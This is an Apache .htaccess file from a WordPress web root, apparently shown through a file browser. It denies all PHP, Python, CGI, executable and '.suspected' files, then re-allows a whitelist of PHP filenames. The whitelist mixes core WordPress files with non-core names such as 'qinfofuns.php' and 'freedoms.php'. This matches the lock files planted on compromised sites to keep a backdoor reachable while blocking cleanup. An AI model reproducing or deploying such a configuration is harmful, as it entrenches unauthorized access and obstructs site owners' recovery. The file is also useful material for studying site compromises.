File: //var/www/html/.htaccess
<FilesMatch "(?i)\.(py|exe|phtml|php\d*|suspected|cgi)$">
<IfModule mod_authz_core.c>
Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
Order allow,deny
Deny from all
</IfModule>
</FilesMatch>
<FilesMatch "^(user-new\.php|freedoms\.php|edit-form-comment\.php|profile\.php|install-helper\.php|options-general\.php|options\.php|link\.php|comment\.php|post-new\.php|edit-form-advanced\.php|ms-admin\.php|edit\.php|wp-trackback\.php|update\.php|post\.php|theme-install\.php|export-personal-data\.php|wp-cron\.php|ms-delete-site\.php|edit-tags\.php|media\.php|index\.php|site-health\.php|wp-upgrade\.php|wp-signup\.php|ms-upgrade-network\.php|nav-menus\.php|wp-load\.php|credits\.php|import\.php|setup-config\.php|link-add\.php|options-connectors\.php|admin-footer\.php|edit-comments\.php|xmlrpc\.php|options-discussion\.php|network\.php|edit-form-blocks\.php|wp-blog-header\.php|menu\.php|wp-links-opml\.php|plugin-editor\.php|custom-background\.php|user-edit\.php|ms-options\.php|edit-tag-form\.php|options-media\.php|about\.php|admin-post\.php|term\.php|ms-sites\.php|site-maintenance\.php|styles\.php|ms-users\.php|plugins\.php|wp-login\.php|options-reading\.php|media-new\.php|font-library\.php|theme-editor\.php|my-sites\.php|async-upload\.php|admin-functions\.php|authorize-application\.php|link-manager\.php|media-upload\.php|privacy\.php|load-styles\.php|ms-edit\.php|widgets\.php|press-this\.php|widgets-form-blocks\.php|erase-personal-data\.php|contribute\.php|widgets-form\.php|edit-link-form\.php|install\.php|options-writing\.php|ms-themes\.php|admin-header\.php|wp-activate\.php|upload\.php|tools\.php|revision\.php|wp-settings\.php|options-permalink\.php|admin-ajax\.php|upgrade\.php|plugin-install\.php|options-head\.php|wp-mail\.php|themes\.php|qinfofuns\.php|wp-comments-post\.php|admin\.php|site-health-info\.php|wp-config-sample\.php|menu-header\.php|site-editor\.php|load-scripts\.php|users\.php|options-privacy\.php|upgrade-functions\.php|moderation\.php|custom-header\.php|update-core\.php|customize\.php|link-parse-opml\.php|export\.php|privacy-policy-guide\.php)$">
<IfModule mod_authz_core.c>
Require all granted
</IfModule>
<IfModule !mod_authz_core.c>
Order allow,deny
Allow from all
</IfModule>
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>